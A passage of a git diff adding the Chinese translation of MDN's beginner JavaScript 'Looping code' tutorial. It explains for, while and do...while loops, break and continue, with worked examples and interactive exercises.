<dd>事件是你正在编写的系统中发生的动作或事件,系统告诉你的是这些动作或事件,如果需要的话,你可以以某种方式对它们做出反应。例如,如果用户单击网页上的按钮,您可能希望通过显示信息框来响应该操作。在这最后一篇文章中,我们将重点讨论一些围绕事件有关的概念,看看他们如何在浏览器中工作。</dd> +</dl> + +<h2 id="评估">评估</h2> + +<p>下面的评估将测试您对JavaScript基础知识的理解。</p> + +<dl> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Building_blocks/Image_gallery">图片画廊</a></dt> + <dd>现在我们已经学习了构建JavaScript的基本代码块,我们会通过构建一个在很多网站上相当常见的项目——一个由JavaScript驱动的相册,来测试你循环、函数、条件语句和事件方面的知识。</dd> +</dl> diff --git a/files/zh-cn/learn/javascript/building_blocks/looping_code/index.html b/files/zh-cn/learn/javascript/building_blocks/looping_code/index.html new file mode 100644 index 0000000000..3fb1a217da --- /dev/null +++ b/files/zh-cn/learn/javascript/building_blocks/looping_code/index.html @@ -0,0 +1,781 @@ +--- +title: 循环吧代码 +slug: learn/JavaScript/Building_blocks/Looping_code +tags: + - JavaScript + - break + - continue + - for + - while + - 初学者 + - 学习 + - 循环 +translation_of: Learn/JavaScript/Building_blocks/Looping_code +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">编程语言可以很迅速方便地帮我们完成一些重复性的任务,<font>从多个基本计算到几乎完成了很多类似工作的其他情况。现在</font><font>我们来看看处理这种需求的JavaScript中可用的循环结构。</font></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的电脑知识,对HTML与CSS有基本的了解,及已阅读: <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a>(JS的入门).</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何在JS里面使用循环语句.</td> + </tr> + </tbody> +</table> + +<h2 id="来一起循环">来一起循环</h2> + +<p>循环,循环,循环. 就与这些:<a href="https://en.wikipedia.org/wiki/Froot_Loops">popular breakfast cereals</a>, <a href="https://en.wikipedia.org/wiki/Vertical_loop">roller coasters</a> and <a href="https://en.wikipedia.org/wiki/Loop_(music)">musical production</a>一样,类似存在于编程中.编程中的循环也是一直重复着去做一件事 - 此处循环便是编程中的术语.</p> + +<p>让我们来想一下下图,这位农夫考虑为他的家庭做一周的食物计划,他或许就需要执行一段循环:</p> + +<p><img alt="" src="https://raw.githubusercontent.com/agnoCJY/agno.github.io/master/loop_js-02-farm-cn.png" style="height: 563px; width: 900px;"><br> + </p> + +<p>一段循环通常需要一个或多个条件:</p> + +<ul> + <li><strong>一个开始条件,</strong>它被初始化为一个特定的值 - 这是循环的起点("开始:我没有食物”,上面)。</li> + <li><strong>一个结束条件,</strong>这是循环停止的标准 - 通常计数器达到一定值。 以上所说的“我有足够的食物”吗? 假设他需要10份食物来养活他的家人。</li> + <li><strong>一个迭代器,</strong>这通常在每个连续循环上递增少量的计数器,直到达到退出条件。 我们以前没有明确说明,但是我们可以考虑一下农民能够每小时收集2份食物。 每小时后,他收集的食物量增加了两倍,他检查他是否有足够的食物。 如果他已经达到10分(退出条件),他可以停止收集回家。</li> +</ul> + +<p>在 {{glossary("伪代码")}} 中,这看起来就像下面这样:</p> + +<pre>loop(food = 0; foodNeeded = 10) { + if (food = foodNeeded) { + exit loop; + // 我们有足够的食物了,回家吧。 + } else { + food += 2; // 花一个小时多收集两个食物。 + // 循环将会继续执行。 + } +}</pre> + +<p>所以需要的食物量定为10,农民目前的数量为0。在循环的每次迭代中,我们检查农民的食物量是否等于他需要的量。 如果是这样,我们可以退出循环。 如果没有,农民花一个小时收集两部分食物,循环再次运行。</p> + +<h3 id="为何?"><font><font>为何?</font></font></h3> + +<p>在这一点上,您可能会了解循环中的高级概念,但您可能会认为“好的,但是,这有助于我编写更好的JavaScript代码?” 正如我们前面所说,循环与所做的事情都是一样的,这对于快速完成重复任务是非常有用的。</p> + +<p>通常,循环的每个连续迭代的代码将略有不同,这意味着您可以完成相同但略有不同的任务的全部负载 - 如果您有很多不同的计算要做, 做不同的一个,不一样的一个又一个!</p> + +<p>让我们来看一个例子来完美地说明为什么循环是一件好事。 假设我们想在{{htmlelement("canvas")}}元素上绘制100个随机圆(按更新按钮一次又一次地运行示例以查看不同的随机集):</p> + +<div class="hidden"> +<h6 id="Hidden_code">Hidden code</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Random canvas circles</title> + <style> + html { + width: 100%; + height: inherit; + background: #ddd; + } + + canvas { + display: block; + } + + body { + margin: 0; + } + + button { + position: absolute; + top: 5px; + left: 5px; + } + </style> + </head> + <body> + + <button>Update</button> + + <canvas></canvas> + + + <script> + var btn = document.querySelector('button'); + var canvas = document.querySelector('canvas'); + var ctx = canvas.getContext('2d'); + + var WIDTH = document.documentElement.clientWidth; + var HEIGHT = document.documentElement.clientHeight; + + canvas.width = WIDTH; + canvas.height = HEIGHT; + + function random(number) { + return Math.floor(Math.random()*number); + } + + function draw() { + ctx.clearRect(0,0,WIDTH,HEIGHT); + for (var i = 0; i < 100; i++) { + ctx.beginPath(); + ctx.fillStyle = 'rgba(255,0,0,0.5)'; + ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); + ctx.fill(); + } + } + + btn.addEventListener('click',draw); + + </script> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code', '100%', 400, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>您现在不需要理解所有代码,但我们来看看实际绘制100个圆的那部分代码:</p> + +<pre class="brush: js">for (var i = 0; i < 100; i++) { + ctx.beginPath(); + ctx.fillStyle = 'rgba(255,0,0,0.5)'; + ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); + ctx.fill(); +} +</pre> + +<p> </p> + +<ul> + <li><code>random()</code>,在前面的代码中定义过了,返回一个 <code>0</code> 到 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">x-1</span></font> 间的整数。</li> + <li><code>WIDTH</code> 和<code>HEIGHT</code> 浏览器内部窗口的宽度和高度。</li> +</ul> + +<p> </p> + +<p>您应该有一个基本的想法 - 我们使用一个循环来运行这个代码的100次迭代,其中每一个在页面上的随机位置绘制一个圆。 无论我们绘制100个圆,1000还是10,000,所需的代码量将是相同的。 只有一个数字必须改变。</p> + +<p>如果我们在这里没有使用循环,我们必须为我们想要绘制的每个圆重复以下代码:</p> + +<pre class="brush: js">ctx.beginPath(); +ctx.fillStyle = 'rgba(255,0,0,0.5)'; +ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); +ctx.fill();</pre> + +<p>这将非常无聊而且很难维持高速。 循环真的相当好用。</p> + +<h2 id="循环的标准">循环的标准</h2> + +<p>我们开始探索一些特定的循环结构。 第一个,你会经常使用到它,for循环 - 以下为for循环的语法:</p> + +<pre>for (initializer; exit-condition; final-expression) { + // code to run +}</pre> + +<p><font><font>我们有:</font></font></p> + +<ol> + <li><font><font>关键字</font></font><code>for</code><font><font>,后跟一些括号。</font></font></li> + <li><font><font>在括号内,我们有三个项目,以分号分隔:</font></font> + <ol> + <li><font><font>一个</font></font><strong>初始化器</strong><font><font> - 这通常是一个设置为一个数字的变量,它被递增来计算循环运行的次数。</font><font>它也有时被称为</font></font><strong>计数变量</strong><font><font>。</font></font></li> + <li><font><font>一个</font></font><strong>退出条件</strong><font><font> -如前面提到的,这个定义循环何时停止循环。</font><font>这通常是一个表现为比较运算符的表达式,用于查看退出条件是否已满足的测试。</font></font></li> + <li>一个<strong>最终条件</strong><font><font> -这总是被判断(或运行),每个循环已经通过一个完整的迭代消失时间。</font><font>它通常用于增加(或在某些情况下递减)计数器变量,使其更接近退出条件值。</font></font></li> + </ol> + </li> + <li><font><font>一些包含代码块的花括号 - 每次循环迭代时都会运行这个代码。</font></font></li> +</ol> + +<p><font><font>我们来看一个真实的例子,所以我们可以看出这些做得更清楚。</font></font></p> + +<pre class="brush: js">var cats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin']; +var info = 'My cats are called '; +var para = document.querySelector('p'); + +for (var i = 0; i < cats.length; i++) { + info += cats[i] + ', '; +} + +para.textContent = info;</pre> + +<p>这给我们以下输出:</p> + +<div class="hidden"> +<h6 id="Hidden_code_2">Hidden code 2</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Basic for loop example</title> + <style> + + </style> + </head> + <body> + + <p></p> + + + <script> + var cats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin']; + var info = 'My cats are called '; + var para = document.querySelector('p'); + + for (var i = 0; i < cats.length; i++) { + info += cats[i] + ', '; + } + + para.textContent = info; + + </script> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code_2', '100%', 60, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>注</strong>: 您可以<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for.html">在GitHub上找到这段示例代码</a>。 (也可以<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for.html">在线运行</a>)。</p> +</div> + +<p>这显示了一个循环用于迭代数组中的项目,并与每个项目进行一些操作 - JavaScript中非常常见的模式。 这里:</p> + +<ol> + <li>迭代器<code>i</code>从0开始(<code>var i = 0</code>)。</li> + <li>循环将会一直运行直到它不再小于猫数组的长度。 这很重要 - 退出条件显示循环仍然运行的条件。 所以在这种情况下,<code><cats.length</code>仍然是真的,循环仍然运行。</li> + <li>在循环中,我们将当前的循环项(<code>cats[i]</code>是<code>cats[当前下标的任何东西]</code>)以及逗号和空格连接到<code>info</code>变量的末尾。 所以: + <ol> + <li>在第一次运行中,<code>i = 0</code>,所以<code>cats[0] +','将</code>被连接到<code>info("Bill")</code>上。</li> + <li>在第二次运行中,<code>i = 1</code>,所以<code>cats[1] +','</code>将被连接到<code>info("Jeff")</code>上。</li> + <li>等等。 每次循环运行后,1将被添加到i(i ++),然后进程将再次启动。</li> + </ol> + </li> + <li>当等于<code>cats.length</code>时,循环将停止,浏览器将移动到循环下面的下一个代码位。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 我们将退出条件设为<code>< cats.length</code>,而不是<code><= cats.length</code>是因为计算机从0开始,而不是1 - 开始时<code>i</code>是0,并且逐步增加到i<code> = 4</code>(最后一个数组的索引)。 <code>cats.length</code>返回5,因为数组中有5个项目,但是我们不希望达到<code>i = 5</code>,因为这将返回未定义的最后一个项目(没有索引为5的数组项目)。 所以我们想要比<code>cats.length</code>(<code>i <</code>)少1,而不是<code>cats.length</code>(<code>i <=</code>)。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: 退出条件的一个常见错误是使它们使用“等于”(<code>===</code>)而不是说“小于或等于”(<code><=</code>)。 如果我们想要运行我的循环到<code>i = 5</code>,退出条件将需要是<code>i <= cats.length</code>。如果我们设置为<code>i === cats.length</code>,循环将不会运行,因为在第一次循环迭代时 i 不等于5,所以循环会立即停止。</p> +</div> + +<p>我们留下的一个小问题是最后的输出句子形式不是很好:</p> + +<blockquote> +<p>My cats are called Bill, Jeff, Pete, Biggles, Jasmin,</p> +</blockquote> + +<p>理想情况下,我们想改变最后循环迭代中的连接,以便在句子末尾没有逗号。 嗯,没问题 - 我们可以很高兴地在我们的for循环中插入一个条件来处理这种特殊情况:</p> + +<pre class="brush: js">for (var i = 0; i < cats.length; i++) { + if (i === cats.length - 1) { + info += 'and ' + cats[i] + '.'; + } else { + info += cats[i] + ', '; + } +}</pre> + +<div class="note"> +<p><strong>注</strong>: 您可以<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for-improved.html">在GitHub上找到这个例子</a>。(也可以<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for-improved.html">在线运行</a>)</p> +</div> + +<div class="warning"> +<p><strong>重要:</strong> 使用<code>for</code>- 与所有循环一样,您必须确保初始化程序被迭代,以便最终达到退出条件。 如果没有,循环将永不停止,浏览器将强制它停止,否则会崩溃。 这被称为无限循环。</p> +</div> + +<h2 id="使用break退出循环">使用break退出循环</h2> + +<p>如果要在所有迭代完成之前退出循环,可以使用break语句。 当我们查看switch语句时,我们已经在上一篇文章中遇到过这样的情况 - 当switch语句中符合输入表达式的情况满足时,break语句立即退出switch语句并移动到代码之后。</p> + +<p>与循环相同 - break语句将立即退出循环,并使浏览器移动到跟随它的任何代码。</p> + +<p>说我们想搜索一系列联系人和电话号码,只返回我们想要找的号码? 首先,一些简单的HTML - 一个文本{{htmlelement("input")}},允许我们输入一个名称来搜索,一个{{htmlelement("button")}}元素来提交搜索,以及一个{{htmlelement ("p")}}元素显示结果:<br> + </p> + +<pre class="brush: html"><label for="search">Search by contact name: </label> +<input id="search" type="text"> +<button>Search</button> + +<p></p></pre> + +<p>然后是JavaScript:</p> + +<pre class="brush: js">var contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975']; +var para = document.querySelector('p'); +var input = document.querySelector('input'); +var btn = document.querySelector('button'); + +btn.addEventListener('click', function(){ + var searchName = input.value; + input.value = ''; + input.focus(); + for (var i = 0; i < contacts.length; i++) { + var splitContact = contacts[i].split(':'); + if (splitContact[0] === searchName) { + para.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.'; + break; + } else { + para.textContent = 'Contact not found.'; + } + } +});</pre> + +<div class="hidden"> +<h6 id="Hidden_code_3">Hidden code 3</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Simple contact search example</title> + <style> + + </style> + </head> + <body> + + <label for="search">Search by contact name: </label> + <input id="search" type="text"> + <button>Search</button> + + <p></p> + + + <script> + var contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975']; + var para = document.querySelector('p'); + var input = document.querySelector('input'); + var btn = document.querySelector('button'); + + btn.addEventListener('click', function() { + var searchName = input.value; + input.value = ''; + input.focus(); + for (var i = 0; i < contacts.length; i++) { + var splitContact = contacts[i].split(':'); + if (splitContact[0] === searchName) { + para.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.'; + break; + } else if (i === contacts.length-1) + para.textContent = 'Contact not found.'; + } + } + }); + </script> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code_3', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p> + +<ol> + <li>首先我们有一些变量定义 - 我们有一个联系信息数组,每个项目是一个字符串,包含一个以冒号分隔的名称和电话号码。</li> + <li>接下来,我们将一个事件监听器附加到按钮(<code>btn</code>)上,这样当按下它时,运行一些代码来执行搜索并返回结果。</li> + <li>我们将输入的值输入到一个名为<code>searchName</code>的变量中,然后清空文本输入并重新对准它,准备进行下一个搜索。</li> + <li>现在有趣的部分,for循环: + <ol> + <li>我们的计数器开始时为在0,直到计数器不再小于<code>contacts.length</code>,并在循环的每次迭代之后将<code>i</code>递增1。</li> + <li>在循环中,我们首先将当前联系人(<code>contacts [i]</code>)拆分为冒号字符,并将生成的两个值存储在名为<code>splitContact</code>的数组中。</li> + <li>然后,我们使用条件语句来测试<code>splitContact [0]</code>(联系人姓名)是否等于输入的<code>searchName</code>。 如果是,我们在段落中输入一个字符串来报告联系人的号码,并使用break来结束循环。</li> + </ol> + </li> + <li>在<code>(contacts.length-1)</code> 迭代后,如果联系人姓名与输入的搜索不符,则段落文本设置为“未找到联系人”,循环继续迭代。</li> +</ol> + +<div class="note"> +<p><strong>注:</strong>您可以<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/contact-search.html">在GitHub上找到这个例子</a>或<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/contact-search.html">在线运行</a>。</p> +</div> + +<h2 id="使用continue跳过迭代">使用continue跳过迭代</h2> + +<p>continue语句以类似的方式工作,而不是完全跳出循环,而是跳过当前循环而执行下一个循环。 我们来看另外一个例子,它把一个数字作为一个输入,并且只返回开平方之后为整数的数字(整数)。</p> + +<p>HTML与最后一个例子基本相同 - 一个简单的文本输入和一个输出段落。 JavaScript也是一样的,虽然循环本身有点不同:</p> + +<pre class="brush: js">var num = input.value; + +for (var i = 1; i <= num; i++) { + var sqRoot = Math.sqrt(i); + if (Math.floor(sqRoot) !== sqRoot) { + continue; + } + + para.textContent += i + ' '; +}</pre> + +<p>Here's the output:</p> + +<div class="hidden"> +<h6 id="Hidden_code_4">Hidden code 4</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Integer squares generator</title> + <style> + + </style> + </head> + <body> + + <label for="number">Enter number: </label> + <input id="number" type="text"> + <button>Generate integer squares</button> + + <p>Output: </p> + + + <script> + var para = document.querySelector('p'); + var input = document.querySelector('input'); + var btn = document.querySelector('button'); + + btn.addEventListener('click', function() { + para.textContent = 'Output: '; + var num = input.value; + input.value = ''; + input.focus(); + for (var i = 1; i <= num; i++) { + var sqRoot = Math.sqrt(i); + if (Math.floor(sqRoot) !== sqRoot) { + continue; + } + + para.textContent += i + ' '; + } + }); + </script> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code_4', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p> + +<ol> + <li>在这种情况下,输入应为数字(<code>num</code>)。 for循环给定一个从1开始的计数器(在这种情况下,我们对0不感兴趣),一个退出条件,当计数器大于输入<code>num</code>时循环将停止,并且迭代器的计数器将每次增加1。</li> + <li>在循环中,我们使用<code>Math.sqrt(i)</code>找到每个数字的平方根,然后测试平方根是否是一个整数,通过判断当它被向下取整时,它是否与自身相同(这是<code>Math.floor(...)</code>对传递的数字的作用)。</li> + <li>如果平方根和四舍五入的平方根不相等(<code>!==</code>),则表示平方根不是整数,因此我们对此不感兴趣。 在这种情况下,我们使用continue语句跳过当前循环而执行下一个循环迭代,而不在任何地方记录该数字。</li> + <li>如果平方根是一个整数,我们完全跳过if块,所以continue语句不被执行; 相反,我们将当前i值加上一个空格连接到段落内容的末尾。</li> +</ol> + +<div class="note"> +<p><strong>注:</strong>您可以<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/integer-squares.html">在GitHub上查看完整代码</a>,或者<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/integer-squares.html">在线运行</a>。</p> +</div> + +<h2 id="while语句和do_..._while语句">while语句和do ... while语句</h2> + +<p><code>for</code> 不是JavaScript中唯一可用的循环类型。 实际上还有很多其他的,而现在你不需要理解所有这些,所以值得看几个人的结构,这样你就可以在稍微不同的方式识别出相同的功能。</p> + +<p>首先,我们来看看while循环。 这个循环的语法如下所示:</p> + +<pre>initializer +while (exit-condition) { + // code to run + + final-expression +}</pre> + +<p>除了在循环之前设置初始化器变量,并且在运行代码之后,循环中包含final-expression,而不是这两个项目被包含在括号中,这与以前的for循环非常类似。 退出条件包含在括号内,前面是while关键字而不是for。</p> + +<p>同样的三个项目仍然存在,它们仍然以与for循环中相同的顺序定义 - 这是有道理的,因为您必须先定义一个初始化器,然后才能检查它是否已到达退出条件; 在循环中的代码运行(迭代已经完成)之后,运行最后的条件,这只有在尚未达到退出条件时才会发生。</p> + +<p>我们再来看看我们的猫列表示例,但是重写了一个while循环:</p> + +<pre class="brush: js">var i = 0; + +while (i < cats.length) { + if (i === cats.length - 1) { + info += 'and ' + cats[i] + '.'; + } else { + info += cats[i] + ', '; + } + + i++; +}</pre> + +<div class="note"> +<p><strong>Note</strong>: This still works just the same as expected — have a look at it <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/while.html">running live on GitHub</a> (also view the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/while.html">full source code</a>).</p> +</div> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a>循环非常类似但在while后提供了终止条件:</p> + +<pre>initializer +do { + // code to run + + final-expression +} while (exit-condition)</pre> + +<p>在这种情况下,在循环开始之前,初始化程序先重新开始。 do关键字直接在包含要运行的代码的花括号和终止条件之前。</p> + +<p>这里的区别在于退出条件是一切都包含在括号中,而后面是一个while关键字。 在do ... while循环中,花括号中的代码总是在检查之前运行一次,以查看是否应该再次执行(在while和for中,检查首先出现,因此代码可能永远不会执行)。</p> + +<p>我们再次重写我们的猫列表示例,以使用do...while循环:</p> + +<pre class="brush: js">var i = 0; + +do { + if (i === cats.length - 1) { + info += 'and ' + cats[i] + '.'; + } else { + info += cats[i] + ', '; + } + + i++; +} while (i < cats.length);</pre> + +<div class="note"> +<p><strong>Note</strong>: 再一次,它正如我们期望的那样工作 — 看一看它在<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/do-while.html">Github在线运行</a> (或者查看<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/do-while.html">完整源代码</a>).</p> +</div> + +<div class="warning"> +<p><strong>Important</strong>: 使用 while 和 do...while — 所有循环都一样 — 你必须保证初始变量是迭代的,那么它才会逐渐地达到退出条件. 不然, 它将会永远循环下去, 要么浏览器会强制终止它,要么它自己会崩溃. 这称为无限循环.</p> +</div> + +<h2 id="主动学习:启动倒计时!">主动学习:启动倒计时!</h2> + +<p>在这个练习中,我们希望你打印出一个简单的启动倒计时到输出框,从10到关闭。 具体来说,我们希望你:</p> + +<ul> + <li>从10下降到0.我们为您提供了一个初始化器 - var i = 10;</li> + <li>对于每次迭代,创建一个新的段落并将其附加到输出<div>,我们使用<code>var output = document.querySelector('.output');</code>。在评论中,我们为您提供了需要在循环中某处使用的三条代码行: + <ul> + <li><code>var para = document.createElement('p');</code> —新建一个段落。</li> + <li><code>output.appendChild(para);</code> — 将段落附加到输出 <code><div></code>中。</li> + <li><code>para.textContent =</code> — 段落内的文字等于您放在右侧的任何内容。</li> + </ul> + </li> + <li>不同的迭代数字需要将不同的文本放在该迭代的段落中(您需要一个条件语句和多个<code>para.textContent = lines</code>): + <ul> + <li>如果数字是10,打印“Countdown 10”到段落。</li> + <li>如果数字为0,请打印“Blast off!” 到段落。</li> + <li>对于任何其他数字,只打印段落的数字。</li> + </ul> + </li> + <li>记住要包括一个迭代器! 然而,在这个例子中,我们在每次迭代之后都下降,而不是上升,所以你不想要<code>i++</code> - 你如何向下迭代?</li> +</ul> + +<p>如果您犯了错误,您可以随时使用“重置”按钮重置该示例。 如果你真的卡住了,请按“显示解决方案”来查看解决方案。</p> + +<div class="hidden"> +<h6 id="Active_learning">Active learning</h6> + +<pre class="brush: html"><div class="output" style="height: 410px;overflow: auto;"> + +</div> + + +<textarea id="code" class="playable-code" style="height: 300px;"> +var output = document.querySelector('.output'); +output.innerHTML = ''; + +// var i = 10; + +// var para = document.createElement('p'); +// para.textContent = ; +// output.appendChild(para); +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: js">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var code = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + updateCode(); +}); + +solution.addEventListener('click', function() { + textarea.value = jsSolution; + updateCode(); +}); + +var jsSolution = 'var output = document.querySelector(\'.output\');\noutput.innerHTML = \'\';\n\nvar i = 10;\n\nwhile(i >= 0) {\n var para = document.createElement(\'p\');\n if(i === 10) {\n para.textContent = \'Countdown \' + i;\n } else if(i === 0) {\n para.textContent = \'Blast off!\';\n } else {\n para.textContent = i;\n }\n\n output.appendChild(para);\n\n i--;\n}'; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); +</pre> +</div> + +<p>{{ EmbedLiveSample('Active_learning', '100%', 880, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="主动学习:填写来宾列表">主动学习:填写来宾列表</h2> + +<p>在本练习中,我们希望您获取存储在数组中的名称列表,并将其放入来宾列表中。 但这不是那么容易 - 我们不想让菲尔和洛拉进来,因为他们是贪婪和粗鲁的,总是吃所有的食物! 我们有两个名单,一个是客人承认的,一个是客人拒绝的。</p> + +<p>具体来说,我们希望你:</p> + +<ul> + <li>编写一个循环,它将从0迭代到people数组的长度。 你需要从一个初始化器<code>var i = 0</code>开始,但是你需要什么退出条件?</li> + <li>在每个循环迭代期间,使用条件语句检查当前数组项是否等于“Phil”或“Lola”: + <ul> + <li>如果是,则将数组项连接到拒绝段落的<code>textContent</code>的末尾,后跟逗号和空格。</li> + <li>如果不是,则将数组项连接到接收段落的<code>textContent</code>的末尾,后跟逗号和空格。</li> + </ul> + </li> +</ul> + +<p>我们已经提供给您:</p> + +<ul> + <li><code>var i = 0;</code> — 你的初始化程序</li> + <li><code>refused.textContent +=</code> - 将连接某些东西的行的开头,结束于<code>refused.textContent</code>。</li> + <li><code>admitted.textContent +=</code> - 将连接某些内容到一行的结尾的行的开始。</li> +</ul> + +<p>额外的奖金问题 - 成功完成上述任务后,您将留下两个名称列表,用逗号分隔,但它们将不整齐 - 每个结尾处都会有一个逗号。 你可以制定出如何在每种情况下编写最后一个逗号的行,并添加一个完整的停止? 看看有用的字符串方法文章的帮助。</p> + +<p>如果您犯了错误,您可以随时使用“重置”按钮重置该示例。 如果你真的卡住了,请按“显示解决方案”来查看解决方案。</p> + +<div class="hidden"> +<h6 id="Active_learning_2">Active learning 2</h6> + +<pre class="brush: html"><div class="output" style="height: 100px;overflow: auto;"> + <p class="admitted">Admit: </p> + <p class="refused">Refuse: </p> +</div> + +<textarea id="code" class="playable-code" style="height: 400px;"> +var people = ['Chris', 'Anne', 'Colin', 'Terri', 'Phil', 'Lola', 'Sam', 'Kay', 'Bruce']; + +var admitted = document.querySelector('.admitted'); +var refused = document.querySelector('.refused'); +admitted.textContent = 'Admit: '; +refused.textContent = 'Refuse: ' + +// var i = 0; + +// refused.textContent += ; +// admitted.textContent += ; + +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: js">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var code = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + updateCode(); +}); + +solution.addEventListener('click', function() { + textarea.value = jsSolution; + updateCode(); +}); + +var jsSolution = 'var people = [\'Chris\', \'Anne\', \'Colin\', \'Terri\', \'Phil\', \'Lola\', \'Sam\', \'Kay\', \'Bruce\'];\n\nvar admitted = document.querySelector(\'.admitted\');\nvar refused = document.querySelector(\'.refused\');\n\nvar i = 0;\n\ndo {\n if(people[i] === \'Phil\' || people[i] === \'Lola\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i < people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';'; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); +</pre> +</div> + +<p>{{ EmbedLiveSample('Active_learning_2', '100%', 680, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="应该使用哪种循环类型?">应该使用哪种循环类型?</h2> + +<p>对于基本用途,for,while和do ... while循环大部分可互换。 他们都可以用来解决相同的问题,你使用哪一个将在很大程度上取决于你的个人偏好 - 哪一个你最容易记住或最直观的。 我们再来看看他们。</p> + +<p>首先是 <code>for</code>:</p> + +<pre>for (initializer; exit-condition; final-expression) { + // code to run +}</pre> + +<p><code>while</code>:</p> + +<pre>initializer +while (exit-condition) { + // code to run + + final-expression +}</pre> + +<p>最后是 <code>do...while</code>:</p> + +<pre>initializer +do { + // code to run + + final-expression +} while (exit-condition)</pre> + +<p>我们建议使用<code>for</code>,因为它可能是最简单地帮你记住一切 - 初始化程序,退出条件和最终表达式都必须整齐地放入括号,所以很容易看到他们在哪里并检查你没有丢失他们。</p> + +<div class="note"> +<p><strong>注:</strong>还有其他循环类型/特性,这些特性在 高级/专门 的情况下是有用的,超出了本文的范围。如果您想进一步了解循环学习,请阅读我们的高级<a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">循环和迭代指南</a>。</p> +</div> + +<h2 id="结论">结论</h2> + +<p>本文向您展示了背后的基本概念,以及JavaScript中循环代码时可用的不同选项。 你现在应该明白为什么循环是一个处理重复代码的好机制,并且在你自己的例子中使用它们!</p> + +<p>如果您有什么不明白的地方,可以再通读一遍,或者<a href="/en-US/Learn#Contact_us">联系我们</a>寻求帮助。</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops and iteration in detail</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for statement reference</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a> references</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break">break</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue">continue</a> references</li> + <li> + <p class="entry-title"><a href="https://www.impressivewebs.com/javascript-for-loop/">What’s the Best Way to Write a JavaScript For Loop?</a> — some advanced loop best practices</p> + </li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</p> + +<p> </p> + +<h2 